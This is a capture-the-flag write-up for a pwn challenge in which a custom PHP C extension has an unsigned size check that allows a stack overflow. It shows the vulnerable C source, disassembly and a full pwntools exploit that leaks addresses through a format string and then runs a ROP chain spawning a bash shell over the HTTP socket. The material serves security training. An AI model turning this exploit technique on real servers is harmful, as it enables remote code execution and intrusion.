Description

We've tracked connections made from an infected workstation back to this server. We believe it is running a C2 checking interface, the source code of which we acquired from a temporarily exposed Git repository several months ago. Apparently, the engineers behind it are obsessed with speed, extending their programs with low-level code. We think in their search for speed they might have cut some corners - can you find a way in?

🎮 PLAY THE TRACK

Thought of process

Our initial thought was that, we need something interesting, out of the usual, something intriguing but at the same time simple for the user to understand, so that he/she will be hyped to join next year’s CTF and also other CTFs made by us. Thus, instead of just a normal C/C++ vulnerable binary, we decided to make something that includes C and PHP also. Making it more realistic and different from the ordinary pwn challenges we see out there.

Challenge

When decompressing the .zip, we get several files. One of them is the index.php. Taking a look at the code:

<?php
if (isset($_SERVER['HTTP_CMD_KEY']) && isset($_GET['cmd'])) {
    $key = intval($_SERVER['HTTP_CMD_KEY']);
    if ($key <= 0 || $key > 255) {
        http_response_code(400);
    } else {
        log_cmd($_GET['cmd'], $key);
    }
} else {
    http_response_code(400);
}

Here, we can see log_cmd which is a function from a custom PHP extension, php_logger.so

#include <php.h>
#include <stdint.h>
#include "php_logger.h"


ZEND_BEGIN_ARG_INFO_EX(arginfo_log_cmd, 0, 0, 2)
    ZEND_ARG_INFO(0, arg)
    ZEND_ARG_INFO(0, arg2)
ZEND_END_ARG_INFO()

zend_function_entry logger_functions[] = {
    PHP_FE(log_cmd, arginfo_log_cmd)
    {NULL, NULL, NULL}
};


zend_module_entry logger_module_entry = {
    STANDARD_MODULE_HEADER,
    PHP_LOGGER_EXTNAME,
    logger_functions,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    PHP_LOGGER_VERSION,
    STANDARD_MODULE_PROPERTIES
};

void print_message(char* p);

ZEND_GET_MODULE(logger)

zend_string* decrypt(char* buf, size_t size, uint8_t key) {
    char buffer[64] = {0};
    if (sizeof(buffer) - size > 0) {
        memcpy(buffer, buf, size);
    } else {
        return NULL;
    }
    for (int i = 0; i < sizeof(buffer) - 1; i++) {
        buffer[i] ^= key;
    }
    return zend_string_init(buffer, strlen(buffer), 0);
}

PHP_FUNCTION(log_cmd) {
    char* input;
    zend_string* res;
    size_t size;
    long key;
    if (zend_parse_parameters(ZEND_NUM_ARGS(), "sl", &input, &size, &key) == FAILURE) {
        RETURN_NULL();
    }
    res = decrypt(input, size, (uint8_t)key);
    if (!res) {
        print_message("Invalid input provided\n");
    } else {
        FILE* f = fopen("/tmp/log", "a");
        fwrite(ZSTR_VAL(res), ZSTR_LEN(res), 1, f);
        fclose(f);
    }
    RETURN_NULL();
}

__attribute__((force_align_arg_pointer))
void print_message(char* p) {
    php_printf(p);
}

By looking into the PHP C API, we can determine that this function takes two arguments:

1) input, a string
2) key, a long (which the PHP file restricts to being between 1-255) size is the size of the string as provided by PHP.
These values are then provided to decrypt(), which returns a zend_string (PHP's string type). This is then appended to /tmp/log.

Decrypt

zend_string* decrypt(char* buf, size_t size, uint8_t key) {
   char buffer[64] = {0};
   if (sizeof(buffer) - size > 0) {
       memcpy(buffer, buf, size);
   } else {
       return NULL;
   }
   for (int i = 0; i < sizeof(buffer) - 1; i++) {
       buffer[i] ^= key;
   }

   return zend_string_init(buffer, strlen(buffer), 0);
}

This function performs a size check before copying the input onto a local stack buffer. The buffer is then XORed with the value of the key, before initializing and returning a zend_string. It’s pretty straightforward, we do not need to dive deeper. 

Analyzing the Bug

There's a subtle bug here, which is more obvious by looking at the decompiled code.

00001216  if (arg2 == 0x40) {
0000123f      rax_1 = nullptr
0000123f  } else {

(sizeof(buffer) - size > 0) - both size and sizeof(buffer) are unsigned values. This means that even if size is more than 0x40, the value will underflow to the maximum possible value, passing the check. This gives us a stack overflow, and there are no canaries so we can ROP freely.

This can be seen running checksec:

➜  challenge git:(ECD-8-business-ctf-2022) ✗ checksec php_logger.so
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

However, no leaks are available, and so we aren't able to ROP to any known locations. But, there is a solution. We can overwrite only the first (lowest) byte of the saved RIP, which allows us to change the return location by a short amount. 00001429 is the address (or offset from the library base) we'll be returning to. Which makes this the range of possible addresses:

00001400  mov     dword [rax+0x8], 0x1
00001407  jmp     0x14a4

0000140c  mov     rax, qword [rsp+0x18 {var_30}]
00001411  movzx   edx, al
00001414  mov     rcx, qword [rsp+0x20 {var_28}]
00001419  mov     rax, qword [rsp+0x28 {var_20}]
0000141e  mov     rsi, rcx
00001421  mov     rdi, rax
00001424  call    decrypt
00001429  mov     qword [rsp+0x38 {var_10_1}], rax
0000142e  cmp     qword [rsp+0x38 {var_10_1}], 0x0
00001434  jne     0x1447

00001436  lea     rax, [rel data_2049]  {"Invalid input provided\n"}
0000143d  mov     rdi, rax  {data_2049, "Invalid input provided\n"}
00001440  call    print_message
00001445  jmp     0x1499

00001447  lea     rax, [rel data_2061]
0000144e  mov     rsi, rax  {data_2061}
00001451  lea     rax, [rel data_2063]  {"/tmp/log"}
00001458  mov     rdi, rax  {data_2063, "/tmp/log"}
0000145b  call    fopen
00001460  mov     qword [rsp+0x30 {var_18_1}], rax
00001465  mov     rax, qword [rsp+0x38 {var_10_1}]
0000146a  mov     rax, qword [rax+0x10]
0000146e  mov     rdx, qword [rsp+0x38 {var_10_1}]
00001473  lea     rdi, [rdx+0x18]
00001477  mov     rdx, qword [rsp+0x30 {var_18_1}]
0000147c  mov     rcx, rdx
0000147f  mov     edx, 0x1
00001484  mov     rsi, rax
00001487  call    fwrite
0000148c  mov     rax, qword [rsp+0x30 {var_18_1}]
00001491  mov     rdi, rax
00001494  call    fclose

00001499  mov     rax, qword [rsp {var_48}]
0000149d  mov     dword [rax+0x8], 0x1

000014a4  add     rsp, 0x48
000014a8  retn     {__return_addr}


000014a9  int64_t print_message(int64_t arg1)

000014a9  push    rbp {__saved_rbp}
000014aa  mov     rbp, rsp {__saved_rbp}
000014ad  and     rsp, 0xfffffffffffffff0
000014b1  sub     rsp, 0x10
000014b5  mov     qword [rsp+0x8 {var_18}], rdi
000014ba  mov     rax, qword [rsp+0x8 {var_18}]
000014bf  mov     rdi, rax
000014c2  mov     eax, 0x0
000014c7  call    php_printf
000014cc  nop     
000014cd  leave    {__saved_rbp}
000014ce  retn     {__return_addr}

.text (PROGBITS) section ended  {0x10e0-0x14cf}

000014cf                       00         .

.fini (PROGBITS) section started  {0x14d0-0x14dd}

000014d0  int64_t _fini()

000014d0  endbr64 
000014d4  sub     rsp, 0x8
000014d8  add     rsp, 0x8
000014dc  retn     {__return_addr}

Rop our way around

We need to find a way to ROP which will both provide us leaks, and not break the PHP process - we must send another request once we have leaks. We can ROP to 00001440 call print_message - this is a simple wrapper around php_printf - its prologue also forcefully aligns the stack, ensuring that stack alignment won't be an issue. Returning within the same function we came from also means the stack will be properly adjusted after our payload runs, returning back into the PHP process. php_printf functions similarly to printf in libc - passing user input to the function allows them to pass format specifiers which can produce leaks. By experimenting, we can see that the RDI register still points to our original request input.

We'll begin by passing a single-byte-overwrite payload that begins with many %p- specifiers:

#!/usr/bin/env python3
from pwn import *
import urllib.parse

def make_payload(buf):
    buf = list(buf)
    for i in range(63):
        buf[i] ^= 1
    buf = bytes(buf)

    payload = "GET /?cmd="
    payload += urllib.parse.quote(buf)
    payload += " HTTP/1.1\n"
    payload += "User-Agent: Pwner\n"
    payload += "Host: Pwn.htb\n"
    payload += "Cmd-Key: 1\n\n"
    return payload.encode()

context.binary = e = ELF("php", checksec=False)
log.info("Sending initial payload");
payload = flat({
    0: b'%p-' * 30,
    0x98: p8(0x40)
})
payload = make_payload(payload)
r = remote(args.HOST or "localhost", args.PORT or 1337)
r.send(payload)
r.recvuntil(b'\r\n\r\n')
resp = r.recvall()
r.close()

We can determine by some light investigation that one of the leaked pointers is executor_globals, a symbol in the PHP binary. This allows us to rebase the executable to perform ROP:

leak = resp.split(b'-')[5]
log.success(f"Leaked executor_globals: {leak}")
e.address = int(leak, 16)- e.sym['executor_globals']
log.success(f"PHP base: {hex(e.address)}")

We can now repeat our attack with a normal ROP chain. Since dup2 and execl are both in the PLT of PHP, we can call them. We will dup2 our connection socket (which will be 4) with stdin/stdout/stderr and execute a shell, reusing our connection as a shell.

rop = ROP(e)

rop.call('dup2', [4, 0])
rop.call('dup2', [4, 1])
rop.call('dup2', [4, 2])
binsh = next(e.search(b"/bin/bash\x00"))
dashi = next(e.search(b"-i\x00"))
rop.call('execl', [binsh, binsh, dashi, 0])

log.info(rop.dump())
payload = make_payload(b"A"*0x98 + rop.chain())
log.info("Sending shell payload")
r = remote("localhost", 8080)
r.send(payload)
r.interactive(prompt='')

Real Life

There have been many issues with format string vulnerability in C/C++ and even in PHP and python. For the PHP, some of them can be found in the link. Most of them can be easily patched by adding the corresponding "%s", "%d" format specifiers instead of printf(buffer); Apart from just leaking stuff to someone, with the Format String Vulnerability, someone also has the opportunity to overwrite addresses in memory, causing severe damage and potentially obtaining shell to the server running the binary.